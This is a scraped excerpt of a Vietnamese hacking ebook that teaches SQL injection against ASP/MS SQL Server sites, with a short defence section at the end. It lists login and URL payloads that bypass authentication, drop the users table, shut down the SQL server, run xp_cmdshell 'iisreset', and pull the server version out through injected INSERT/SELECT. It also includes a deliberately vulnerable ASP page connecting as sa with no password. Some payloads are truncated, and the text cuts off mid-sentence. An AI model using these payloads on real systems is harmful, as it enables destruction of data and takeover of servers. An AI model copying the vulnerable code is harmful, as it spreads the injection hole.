Tải bản đầy đủ (.pdf) (6 trang)

Hacker Professional Ebook part 220 docx

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (123.02 KB, 6 trang )

người dùng vô danh (ở đây là chúng ta đang thử khai thác lỗi SQL Injection) là tên
của 1 Field và tên của Table mà chúng ta đang muốn xâm nhập , field
"users.userName" . Sử dụng tên có được này chúng ta dùng cú pháp LIKE :

Username: ' or users.userName like 'a%'
Password: [Anything]

và câu SQL trở thành

CODE
select userName from users where userName='' or
users.userName like 'a%' ' and userPass=''



Câu SQL này thu thập tất cả những users có Username bắt đầu là "a" và trong
trường hợp này là admin

Logged In As admin

Ví dụ 2:
Ngôn ngữ SQL qui định dấu ';' là kết thúc 1 câu query và sau dấu ';' là một câu
query mới. Ví dụ như
select 1; select 1+2; select 1+3; sẽ thực hiện cả 3 câu query. Lợi dụng điều này , ta
hãy làm như sau:

Username: ' or 1=1; drop table users;
Password: [Anything]

Và phù, toàn bộ dữ liệu về users của website biến mất.


Ví dụ 3:
Trong ví dụ này tôi sẽ cho bạn thấy việc khai thác sự tiện lợi của TSQL có thể làm
biến mất Database hoặc thậm chí shutdown luôn IIS. Chúng ta sẽ xem xét 1 số lệnh
đặc biệt của Ms.SQL và phần "stored procedures". Đa số website khi kết nối với
Database thường sử dụng account sa(default system account) để kết nối từ ASP
đến Ms.SQL. Mặc định , account sa có toàn quyền , bao gồm delete, rename, và
thêm vào database, table , triggers

Nào bây giờ chúng ta hãy nhập vào:

Username: '; shutdown with nowait;
Password: [Anything]

Một trong những lệnh "nguy hiểm" nhất của Ms.SQL là SHUTDOWN WITH
NOWAIT . Khi nhận lệnh này , toàn bộ server Ms.SQL ngừng hoạt động hoàn toàn
và chỉ restart và làm việc lại khi được ra lệnh bằng tay từ trình SQL service
manager , hoặc tab Services của Windows. Và khi bạn nhập vào như trên , câu
SQL trở thành


CODE
select userName from users where userName='';
shutdown with nowait; ' and userPass=''



Nếu website sử dụng account sa và bị khai thác lỗi như trên , nó sẽ dừng hoàn toàn
phần Database từ 1giây cho đến vài ngày , dừng đến khi nào có người phát hiện ra
là nó đã bị dừng và khởi động nó lại bằng tay.


SQL Server cũng có sẵn (Includes) một vài thủ tục (stored procedures) được viết
bằng C++ DLL. Những thủ tục này được dùng để vận hành SQL Server một cách
dễ dàng như đọc thư mục , registry , xóa files, chạy 1 dòng lệnh command Toàn
bộ stored procedures thường bắt đầu bằng "xp_". Có 1 vài stored procedures có thể
gây nguy hiểm cho server. Hãy xem xét , giả sử IIS chạy cùng server với SQL
server và chúng ta nhập vào:

Username: '; exec master xp_cmdshell 'iisreset';
Password: [Anything]

Câu lệnh SQL trở thành


CODE
select userName from users where userName='';
exec master xp_cmdshell 'iisreset'; ' and userPass=''



Ngạc nhiên chưa ? Sau khi SQL Server biến mất thì bây giờ toàn bộ website biến
mất !!!

Ví dụ 4:
Bây giờ, chúng ta sẽ chuyển qua 1 thứ mà chúng ta thường gặp hơn. Thông thường
khi vào những website thương mại , bạn thường thấy URL có dạng như sau:

www.mysite.com/products.asp?productId=2

Trong đó, ID = 2 là mã hàng hoá và câu lệnh để lấy thông tin về hàng hoá là


CODE
Select prodName from products where id = 2



Và chúng ta hãy tạo 1 files có nhiệm vụ đưa ra thông tin hàng hoá là products.asp
như sau

CODE
<%
dim prodId
prodId = Request.QueryString("productId")

set conn = server.createObject("ADODB.Connection")
set rs = server.createObject("ADODB.Recordset")

query = "select prodName from products where id = " & prodId

conn.Open "Provider=SQLOLEDB; Data Source=(local);
Initial Catalog=myDB; User Id=sa; Password="
rs.activeConnection = conn
rs.open query

if not rs.eof then
response.write "Got product " & rs.fields("prodName").value
else
response.write "No product found"
end if
%>



Sau đó chúng ta nhập vào dòng URL của Browser


Ngay lập tức, trình duyệt sẽ báo lỗi như sau

Microsoft OLE DB Provider for SQL Server (0x80040E14)

Column 'products.prodName' is invalid in the select
list because it is not contained in an aggregate
function and there is no GROUP BY clause.

/products.asp, line 13

Cũng như ví dụ trên, 2 thông tin mà chúng ta khai thác được là Table products và
Field prodName . Tiếp theo , với những thông tin đã biết được , ta tiếp tục đánh
vào


(prodName)%20values(left(@@version,50))

Câu URL trên đã chạy lệnh INSERT và thêm vào 1 row mới trong database, tại
field prodName là 50 chữ cái thông tin về phiên bản Ms.SQL đang chạy tại server
(Do biến @@version tạo ra). Vấn đề còn lại là lấy field đó ra trở lại


%20from%20products)

Max(id) để bảo đảm lấy được hàng cuối cùng chứa thông tin mà chúng ta vừa thêm
vào. Hãy xem bạn đã lấy được gì


Got product Microsoft SQL Server 2000 - 8.00.534 (Intel X86)
Đây là 1 thông tin vô cùng quí giá, nó cho phép Hackers tiếp theo lợi dụng những
lổ hổng Security Bugs từ phiên bản này để tiếp tục tấn công và chiếm toàn quyền
điều khiển server.


Hvaonline.net
SQL Injection part 4

Phòng tránh SQL Injection như thế nào ?

Hãy suy nghĩ như 1 hackers và thiết kế website của bạn với sự thận trọng tối đa.
Như bạn đã thấy , những cách thức tấn công mà tôi ví dụ như trên không hề đòi hỏi
1 sự hiểu biết rộng về SQL mà đơn giản , hackers chỉ ứng dụng tốt những thứ cơ
bản và lợi dụng vào sự chủ quan của bạn. Qui tắc số 1 trong thiết kế website có
tương tác với người sử dụng là : ĐỪNG TIN NHỮNG GÌ USER ĐÁNH VÀO

Một số biện pháp an toàn mà tôi biết được như sau:
* Giới hạn quyền user:
Đừng bao giờ sử dụng Default system account (sa) trong SQL server 2000 bởi vì
account này có quá nhiều quyền hành. Bạn nên thiết kế 1 account để chỉ đáp ứng
"đủ" những yêu cầu của website. Nếu bạn không sử dụng triggers, stored
procedures, user-defined functions, hãy Remove tất cả. Một trong những thứ hay
bị Hackers lợi dụng là xp_cmdshell , xp_grantlogin. Vì vậy , hãy mạnh tay remove
tất cả những gì bạn không sử dụng và không chắc sẽ sử dụng.

* Loại bỏ dấu nháy (Quotes)
Như bạn đã thấy , một số cách Injection là lợi dụng sự sơ hở của dấu ' , bằng cách
tạo ra 1 hàm loại bỏ dấu ' như sau:



CODE
<%
function stripQuotes(strWords)
stripQuotes = replace(strWords, "'", "''")
end function
%>



Thì câu Injection từ

CODE
select count(*) from users where userName='john' and
userPass='' or 1=1 '




×